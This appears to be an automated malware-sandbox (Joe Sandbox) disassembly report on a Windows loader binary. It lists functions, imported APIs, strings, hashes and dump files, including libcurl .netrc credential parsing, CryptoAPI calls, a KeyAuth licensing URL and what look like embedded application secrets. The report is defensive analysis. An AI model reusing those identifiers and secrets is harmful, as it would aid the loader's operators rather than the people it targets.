String ID: $CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-4282655970
Opcode ID: f67e65bda64f7bc2ff11744649ac0d4417b9831fe5915c7b7913ff7f7f31b820
Instruction ID: 7f4006aee88112598d81a970edb1d5e3dc2076a85ca76d9787cbb551bf3a6789
Opcode Fuzzy Hash: f67e65bda64f7bc2ff11744649ac0d4417b9831fe5915c7b7913ff7f7f31b820
Instruction Fuzzy Hash: 8081B561B2DA42C2FB65BF219850379A790BF85794FD48235CA9E067D0EF3CE456CB20

Function 00007FF747D3974B Relevance: 37.3, APIs: 18, Strings: 3, Instructions: 509COMMON

Download Yara Rule

APIs

?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 00007FF747D39F74
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A054
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A082
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3A090
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A0CB
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D3A10A

Strings

object, xrefs: 00007FF747D3A319
number overflow parsing ', xrefs: 00007FF747D39F90
array, xrefs: 00007FF747D3A18A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$Xbad_function_call@std@@
String ID: array$number overflow parsing '$object
API String ID: 958247072-579821726
Opcode ID: bb7f3fb9ed15c36171e49e9f8989b7fec12843ec510944212f621a99c3a71fb2
Instruction ID: 160072539e5588e663a820176123918aa45ab2085a86a9de859e4cc0c9ebcaae
Opcode Fuzzy Hash: bb7f3fb9ed15c36171e49e9f8989b7fec12843ec510944212f621a99c3a71fb2
Instruction Fuzzy Hash: E232A262A2CA86C6EB10FB68D5443EDA321FB45794F804331DAAD07AD9DF7CE186C750

Function 00007FF747D6A915 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 202stringfileCOMMON

Download Yara Rule

APIs

strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D6A9A8
strchr.VCRUNTIME140 ref: 00007FF747D6A9D4
strchr.VCRUNTIME140 ref: 00007FF747D6AA0E
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AA32
strchr.VCRUNTIME140 ref: 00007FF747D6AB42
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6AB5A
fopen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D6AC85
fseek.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D6ACB1

Strings

CurrentUser, xrefs: 00007FF747D6AA22
schannel: Failed to import cert file %s, password is bad, xrefs: 00007FF747D6ADE9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: strchr$_strdupfopenfseekstrncmpstrtol
String ID: CurrentUser$schannel: Failed to import cert file %s, password is bad
API String ID: 4221717217-1887299029
Opcode ID: d27a0d2bd81bbd69c5f44cbac832e1c64e7776eb9c4d4244ef604611dd81367d
Instruction ID: 3219043f21bfc7d1e64f345bf0f20109ee22a92b28a7d176e2fdc1f3fe7ecc38
Opcode Fuzzy Hash: d27a0d2bd81bbd69c5f44cbac832e1c64e7776eb9c4d4244ef604611dd81367d
Instruction Fuzzy Hash: E081B561B2DA42C2FB65BF219850379A790BF85794FD48235CA9E067D0EF3CE456CB20

Function 00007FF747D80E90 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 252fileCOMMON

Download Yara Rule

APIs

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000468,00000470,00000000,?), ref: 00007FF747D80F23
fgets.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D80F4D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D81012
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8101E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D81082
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D8108E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D81191
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8119F
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D811AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D811FF
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8121E

Strings

, xrefs: 00007FF747D80F61, 00007FF747D81162
login, xrefs: 00007FF747D810AE
password, xrefs: 00007FF747D810C9
machine, xrefs: 00007FF747D810E1, 00007FF747D81122
default, xrefs: 00007FF747D8113D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdup$fclosefgetsfopen
String ID: $default$login$machine$password
API String ID: 431015889-155862542
Opcode ID: 46801e4ccde35eed6738ec0e483ec203f36e37a38120e43c68a52e88cf771356
Instruction ID: b5eaac9a1e6f4eefeb7c73295c5654ab6223721c4cfedd776fa62a592505764e
Opcode Fuzzy Hash: 46801e4ccde35eed6738ec0e483ec203f36e37a38120e43c68a52e88cf771356
Instruction Fuzzy Hash: D2A1DA21A2D682C5FB61BF11945037AE6A0BF89784FC94235DE6E06794DE3DE44ACF30

Function 00007FF747D685D0 Relevance: 17.9, APIs: 6, Strings: 4, Instructions: 422stringCOMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D6884E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D68856
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FF747D6886C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D68875
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D6887D
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D68887

Strings

GMT, xrefs: 00007FF747D68747
%02d:%02d:%02d%n, xrefs: 00007FF747D687F9
%02d:%02d%n, xrefs: 00007FF747D6882D
%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz], xrefs: 00007FF747D6868E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _errno$strtol
String ID: %02d:%02d%n$%02d:%02d:%02d%n$%31[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz]$GMT
API String ID: 3596500743-988243589
Opcode ID: d49d3298ae75f34013cd756147334e6d7bf0667b6907b24902a762b26ed2f88a
Instruction ID: 5f767c482fdc0773206528332393a7bb9b399c66e863479779394b8fa1171114
Opcode Fuzzy Hash: d49d3298ae75f34013cd756147334e6d7bf0667b6907b24902a762b26ed2f88a
Instruction Fuzzy Hash: 47F1C572F2CA11CAEB24FF6894002BCB7A1BB54758F908336DE5E577D4DE38A4468B50

Function 00007FF747D4279A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 70stringwindowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 00007FF747D426F9
strchr.VCRUNTIME140 ref: 00007FF747D42720
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D42BBF
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BCA
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42BD5
GetLastError.KERNEL32 ref: 00007FF747D42BDE
SetLastError.KERNEL32 ref: 00007FF747D42BEA

Strings

%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
SEC_E_CERT_UNKNOWN, xrefs: 00007FF747D4279A

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno$FormatMessagestrchrstrncpy
String ID: %s (0x%08X)$%s - %s$SEC_E_CERT_UNKNOWN
API String ID: 600764987-1381340633
Opcode ID: 39d8055be6ec056283ed4960e21ca087c558c9f9d2422bf2f03a300a2b34b755
Instruction ID: 674df83b15d1694079c944aac0ab0b0e015d93ed0234b5f4dd3b4d8b7d241d5e
Opcode Fuzzy Hash: 39d8055be6ec056283ed4960e21ca087c558c9f9d2422bf2f03a300a2b34b755
Instruction Fuzzy Hash: E1318262A2D7C1C5E661BF20E5113AAB7A4FB89744FC00676DA8D02A99CF3CE545CF20

Function 00007FF747D50F10 Relevance: 14.3, Strings: 11, Instructions: 540COMMON

Download Yara Rule

Strings

Server doesn't support multiplex (yet), xrefs: 00007FF747D5107F
Connection #%ld isn't open enough, can't reuse, xrefs: 00007FF747D51176
can multiplex, xrefs: 00007FF747D51012
Could multiplex, but not asked to!, xrefs: 00007FF747D510AC
Multiplexed connection found!, xrefs: 00007FF747D51781
Found bundle for host %s: %p [%s], xrefs: 00007FF747D51029
Found pending candidate for reuse and CURLOPT_PIPEWAIT is set, xrefs: 00007FF747D517DA
Can not multiplex, even if we wanted to!, xrefs: 00007FF747D510CA
Server doesn't support multiplex yet, wait, xrefs: 00007FF747D5105B
serially, xrefs: 00007FF747D5101E
Connection #%ld is still name resolving, can't reuse, xrefs: 00007FF747D51151

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: Can not multiplex, even if we wanted to!$Connection #%ld is still name resolving, can't reuse$Connection #%ld isn't open enough, can't reuse$Could multiplex, but not asked to!$Found bundle for host %s: %p [%s]$Found pending candidate for reuse and CURLOPT_PIPEWAIT is set$Multiplexed connection found!$Server doesn't support multiplex (yet)$Server doesn't support multiplex yet, wait$can multiplex$serially
API String ID: 0-2774518510
Opcode ID: 745435d4fb9e7f04f50e6d905b171f08d47d5887c20ab5b3ce49ff8c6c0d15a0
Instruction ID: 31f4b1149ab91d39bb64553f2f475e521fc0f5d4941cef05764e532ffbd4047c
Opcode Fuzzy Hash: 745435d4fb9e7f04f50e6d905b171f08d47d5887c20ab5b3ce49ff8c6c0d15a0
Instruction Fuzzy Hash: EE421A25A2D7C2C7EB65BA3580403B9B790EB45B4CFCA4235CB9D47285DF2DA853CB20

Function 00007FF747D8F840 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 69encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF747D8F886
CryptCreateHash.ADVAPI32 ref: 00007FF747D8F8AA
CryptHashData.ADVAPI32 ref: 00007FF747D8F8C6
CryptGetHashParam.ADVAPI32 ref: 00007FF747D8F8E5
CryptGetHashParam.ADVAPI32 ref: 00007FF747D8F908
CryptDestroyHash.ADVAPI32 ref: 00007FF747D8F918
CryptReleaseContext.ADVAPI32 ref: 00007FF747D8F92A

Strings

@, xrefs: 00007FF747D8F85D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Hash$ContextParam$AcquireCreateDataDestroyRelease
String ID: @
API String ID: 3606780921-2766056989
Opcode ID: 6136e2d2f60899814bedc5065155a8e394b868ebbd0571b5477ee51700c2f6b1
Instruction ID: da3e76b4c95ca3f84f82ccd301291cb1ef9e0939c6836da4a175194acd02e12a
Opcode Fuzzy Hash: 6136e2d2f60899814bedc5065155a8e394b868ebbd0571b5477ee51700c2f6b1
Instruction Fuzzy Hash: 2D216F7262D681C6E760BF51E45166AB371FBC9B84F845235EA8E03A18CF3CE546CF50

Function 00007FF747D9067C Relevance: 13.6, APIs: 9, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF747D90698
memset.VCRUNTIME140 ref: 00007FF747D906BC
RtlCaptureContext.KERNEL32 ref: 00007FF747D906C5
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF747D906DF
RtlVirtualUnwind.KERNEL32 ref: 00007FF747D90720
memset.VCRUNTIME140 ref: 00007FF747D90753
IsDebuggerPresent.KERNEL32 ref: 00007FF747D90774
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF747D90791
UnhandledExceptionFilter.KERNEL32 ref: 00007FF747D9079C

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 313767242-0
Opcode ID: 44a6ae0cd8af2b98538bf3d6ef033a35be83f1fd2ab8966232449bb115425376
Instruction ID: d48dcdd15ee2a345593f402329f3c30803e81dd14066f42734ae73976b5ee18f
Opcode Fuzzy Hash: 44a6ae0cd8af2b98538bf3d6ef033a35be83f1fd2ab8966232449bb115425376
Instruction Fuzzy Hash: 6B3152B2619B82C6EB60AF60E8403EDB364FB85744F84453ADB4D57B94DF38D649CB20

Function 00007FF747D8D750 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 112encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32 ref: 00007FF747D8D797
CryptImportKey.ADVAPI32 ref: 00007FF747D8D869
CryptReleaseContext.ADVAPI32 ref: 00007FF747D8D881
CryptEncrypt.ADVAPI32 ref: 00007FF747D8D8B2
CryptDestroyKey.ADVAPI32 ref: 00007FF747D8D8BC
CryptReleaseContext.ADVAPI32 ref: 00007FF747D8D8C8

Strings

@, xrefs: 00007FF747D8D77D

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: Crypt$Context$Release$AcquireDestroyEncryptImport
String ID: @
API String ID: 3016261861-2766056989
Opcode ID: c3d7f55d531103b682a9b71d8043198a9a0fc1ead9b00ee7f1eeacd26531a0d2
Instruction ID: 5326289a267218cd3ea16622175517ed51efc16391110bd3ab77e041c77b1da8
Opcode Fuzzy Hash: c3d7f55d531103b682a9b71d8043198a9a0fc1ead9b00ee7f1eeacd26531a0d2
Instruction Fuzzy Hash: 3441C062B186A0CEF7109BB5E4513EE7BB1F74A348F444125DE9D23A8ACB3CD11ADB50

Function 00007FF747D6CEE0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 223COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000021C,-00000008,00000000,?,?,00007FF747D6CED8,?,?,?,?,?,?,00007FF747D8411E), ref: 00007FF747D6CF56
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,0000021C,-00000008,00000000,?,?,00007FF747D6CED8,?,?,?,?,?,?,00007FF747D8411E), ref: 00007FF747D6D0BD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6D21C

Strings

%c%c%c=, xrefs: 00007FF747D6D051
%c%c==, xrefs: 00007FF747D6D083
%c%c%c%c, xrefs: 00007FF747D6D013

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfreemalloc
String ID: %c%c%c%c$%c%c%c=$%c%c==
API String ID: 3985033223-3943651191
Opcode ID: 092af0b52317d516cc00b58607fe5a81875a0807e6a20edfeecc1d53f2319083
Instruction ID: 680c3ba53fa4465f526c7e133ff55fe7e9f698e466e145ef27acb42ceb87eed0
Opcode Fuzzy Hash: 092af0b52317d516cc00b58607fe5a81875a0807e6a20edfeecc1d53f2319083
Instruction Fuzzy Hash: AE91E97252CAD1C5EB21BB25A4103BABBA1EB85794F888331DAAD477D5CF3CD406CB10

Function 00007FF747D7C060 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 127networkCOMMON

Download Yara Rule

APIs

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7C0AF
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7C10C
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7C130
bind.WS2_32 ref: 00007FF747D7C1AB
WSAGetLastError.WS2_32 ref: 00007FF747D7C1B5

Strings

bind() failed; %s, xrefs: 00007FF747D7C1D0

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: calloc$ErrorLastbind
String ID: bind() failed; %s
API String ID: 2604820300-1141498939
Opcode ID: 11c834e924142107a97f1254d32c74a80aa968f4d006e7e10ea6cca4b6756a31
Instruction ID: d03a7d773ae19faac57d4cdc3f9460cd4171f7fd4bcc6e1014ffd41ac3d2b191
Opcode Fuzzy Hash: 11c834e924142107a97f1254d32c74a80aa968f4d006e7e10ea6cca4b6756a31
Instruction Fuzzy Hash: 2751AF32A1CB82C6EB15BB65C5503B9B3A4FB48B84F844235CE4D4B785DF3CE45A8B20

Function 00007FF747D5A150 Relevance: 8.2, Strings: 6, Instructions: 693COMMON

Download Yara Rule

Strings

.%ld, xrefs: 00007FF747D5A4B9
(nil), xrefs: 00007FF747D5A934
%ld, xrefs: 00007FF747D5A460
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ, xrefs: 00007FF747D5A66B, 00007FF747D5A6D6
0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 00007FF747D5A193, 00007FF747D5A664, 00007FF747D5A6CB
(nil), xrefs: 00007FF747D5A9B6

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: %ld$(nil)$(nil)$.%ld$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 0-1379995092
Opcode ID: 1a46011813abe3df587649df29dca278059a1793d187c85371252c5ab630468f
Instruction ID: cdefd7ce7cdaa9dfe3b15d224cbc90c6246481de90a28bf0b683b635255d56fa
Opcode Fuzzy Hash: 1a46011813abe3df587649df29dca278059a1793d187c85371252c5ab630468f
Instruction Fuzzy Hash: 5D42F42292D9A2C7E6357A149644379EF91FFC4794FD24330DA9E476C4DE3CE8438A60

Function 00007FF747D31000 Relevance: 6.7, Strings: 5, Instructions: 438COMMON

Download Yara Rule

Strings

Loader Principal | Private Store, xrefs: 00007FF747D31557
2.6, xrefs: 00007FF747D31203
3ee9e40d39e383d059f410c5d176cbefa3865cab68dfcd7cde49bcebd7424293, xrefs: 00007FF747D31311
https://keyauth.win/api/1.2/, xrefs: 00007FF747D31037
9WIvTVJa9m, xrefs: 00007FF747D31539

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID:
String ID: 2.6$3ee9e40d39e383d059f410c5d176cbefa3865cab68dfcd7cde49bcebd7424293$9WIvTVJa9m$Loader Principal | Private Store$https://keyauth.win/api/1.2/
API String ID: 0-1941432435
Opcode ID: ec952fdf6a254412496e28a8ad1894173477c2024606998da486d48c1547abbb
Instruction ID: 8a2775fd8c5bd8aa121011b258c3a0b568fdb01ffb46e7487c00407bd470d48c
Opcode Fuzzy Hash: ec952fdf6a254412496e28a8ad1894173477c2024606998da486d48c1547abbb
Instruction Fuzzy Hash: BB123B62D3EB82CAF703B73594011A4F354AFA7784F85D336ED4431966EF29B2878A44

Function 00007FF747D90894 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF747D908C0
GetCurrentThreadId.KERNEL32 ref: 00007FF747D908CE
GetCurrentProcessId.KERNEL32 ref: 00007FF747D908DA
QueryPerformanceCounter.KERNEL32 ref: 00007FF747D908EA

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
